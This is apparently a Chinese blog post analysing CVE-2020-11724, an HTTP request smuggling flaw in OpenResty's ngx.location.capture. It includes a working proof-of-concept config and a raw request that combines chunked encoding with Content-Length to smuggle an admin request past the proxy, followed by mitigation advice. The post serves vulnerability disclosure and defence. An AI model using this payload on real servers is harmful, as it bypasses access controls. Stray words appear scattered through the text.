OpenResty 最近发布的正式版本 1.17.8.2 修复了安全漏洞 CVE-2020-11724。
这个漏洞是一个 HTTP request smuggling 漏洞,能够实现某种程度上的安全防御绕过。nginx
HTTP request smuggling 指利用两台 HTTP 服务器在解析 HTTP 协议的过程当中的差别,来构造一个在两台服务器看来不一样的请求。一般这样的作法能够用来绕过安全防御,好比发送请求 A 给 Web 防火墙,而后 Web 防火墙代理给后端应用服务器时,让后端服务器误觉得是请求 B。git
先上一个 exploit:github
server { listen 1984; server_name 'localhost'; location /test1 { content_by_lua_block { local res = ngx.location.capture('/backend') ngx.print(res.body) } } location /app { content_by_lua_block { ngx.log(ngx.ERR, ngx.var.uri) } } location /backend { proxy_http_version 1.1; proxy_set_header Connection ""; proxy_pass http://backend/app/api; } location /t { content_by_lua_block { local sock = ngx.socket.tcp() sock:settimeout(500) assert(sock:connect("127.0.0.1", 1984)) local req = [[ GET /test1 HTTP/1.1 Host: foo Transfer-Encoding: chunked Content-Length: 42 0 GET /test1 HTTP/1.1 Host: foo X: GET /app/admin HTTP/1.0 ]] local ok, err = sock:send(req) if not ok then ngx.say("send request failed: ", err) return end sock:close() } } } }
为了便于复现,这里咱们把 OpenRestry 即看成客户端,也把它看成代理服务器和后端应用。其中 /t
用于做为客户端触发 HTTP 请求,/test1
则是做为代理服务器处理请求。/test1
经过 subrequest 请求了 /backend
,而 /backend
做为代理访问了后端应用 /app
。 后端
请求 127.0.0.1:1984/t 你会看到打印出了两个 uri:api
也就是说,在后端应用的眼里,由代理服务器代理过来的用户访问了 /app/api 和 /app/admin 两个接口。假设鉴权等操做都在代理服务器上实现,后端应用无条件信任由代理服务器介绍过来的访问,那么用户不只能访问 /app/api,还得到了对 /app/admin 的访问权限。安全
那么代理服务器有没有真的对这两个接口作鉴权呢?答案是,它作了一半,还有一半没作。在代理服务器看来,客户端发的两个请求,都是访问 /test1 接口。这两个请求是这样的:服务器
GET /test1 HTTP/1.1 Host: foo Transfer-Encoding: chunked Content-Length: 42 0
GET /test1 HTTP/1.1 Host: foo X: GET /app/admin HTTP/1.0
这两个请求 header 和 body 是不同,可是好歹仍是同一个接口。app
然而在后端应用看来,这两个请求是这样的:socket
GET /app/api HTTP/1.1 Host: backend Content-Length: 42 0 GET /test1 HTTP/1.1 Host: foo X:
GET /app/admin HTTP/1.0
彻底是两个不一样的请求了!tcp
为何会这样呢?咱们能够看到,虽然代理服务器和后端应用看到的请求不同,可是它们拼接后的结果都是差很少的,只是后端应用少了个 Transfer-Encoding: chunked
。玄机就在这里。
妇孺皆知,HTTP 是很是复杂的应用层协议,即便是在这个领域浸淫多年的 Nginx 也未能实现完整的 HTTP 协议。
不过今天我不会带领你们查看 HTTP 协议里面边边角角,而是取看几乎每一个 HTTP 请求都会有的报头:Content-Length
和 Transfer-Encoding
。前者表示请求体的大小,后者表示请求体的格式。这两个之间有着这样的关系:若是指定了 Transfer-Encoding 为 chunk,那么请求体的大小会是不肯定的,服务端须要读取每个 chunk,直到读到最后一个 chunk 0\r\n\r\n
为止。即便客户端同时也指定了 Content-Length,服务端也应该以 Transfer-Encoding: chunked
为准。
这给 HTTP 请求的处理带来了一点复杂度,由于通常来讲每一个 header 之间是独立的。(Expires 和 Cache-Control 是又一个例外)
OpenResty 在读取请求的时候,发挥做用的是 Transfer-Encoding: chunked
,因此第二个请求会从 0\r\n\r\n
后,即 GET /test1
开始读。但是,在修复了此漏洞以前,ngx.location.capture
并无一个“若是指定了 Transfer-Encoding: chunked,那么忽略 Content-Length” 的处理。若是二者同时存在,依然还会认为请求体的长度是明确的。这么一来,生成的 subrequest 就会认为有一个长度明确的请求体,发给后端应用的请求是这样的:
GET /app/api HTTP/1.1 Host: backend Content-Length: 42 ...
注意 Transfer-Encoding: chunked
已经消失了。
要想触发这个漏洞,还须要后端应用对链接作 keep alive 的操做。按照 HTTP 协议,后端应用要想复用 TCP 链接,须要保证这个链接上没有残留上个请求的数据。因此即便应用代码里面没有读取请求体的操做,后端应用仍然会丢弃掉整个请求体。而这个请求体的大小是“明确”的,后端应用须要丢弃 42 个字节的内容。被丢弃的 42 个字节,就是代理服务器所认为的第二个请求的开头部分。这样,第二个请求摇身一变,绕过了代理服务器的检查,偷渡成功,露出了原本狰狞的面目。
这个漏洞的关键在于 ngx.location.capture
和 ngx.location.capture_multi
在构建 subrequest 时没有处理好 Transfer-Encoding: chunked
和 Content-Length
同时存在的状况,致使攻击者能够构造虚假的请求体长度。
利用这个漏洞须要有两点:
ngx.location.capture
或 ngx.location.capture_multi
, 外加 proxy_pass
来访问外部服务。若是你不能升级到 1.17.8.2,能够考虑在调用 ngx.location.capture
等函数以前,检查 Transfer-Encoding: chunked
和 Content-Length
是否同时存在,若是是,则去掉 Content-Length
报头。
还有一种处理方式,是 backport https://github.com/openresty/... 这个修复提交到你的 OpenResty 代码里面。